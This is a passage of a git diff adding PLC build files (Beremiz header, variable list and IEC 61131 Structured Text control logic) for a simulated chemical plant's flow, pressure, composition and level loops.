+338;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +340;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +343;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +346;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +347;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +348;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +349;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +350;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +353;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +354;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +355;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +356;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +357;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +358;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +359;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +360;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +361;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +362;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +363;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +364;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;BOOL; +367;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;BOOL; +369;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;UINT; +370;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;BOOL; +371;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so new file mode 100755 index 0000000..bc7c666 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st new file mode 100644 index 0000000..09e07a5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st @@ -0,0 +1,479 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 new file mode 100644 index 0000000..696d5fd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +81603cc6aa5246c5832cb83ffc8de1bd \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st new file mode 100644 index 0000000..a0d6f59 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st @@ -0,0 +1,573 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + 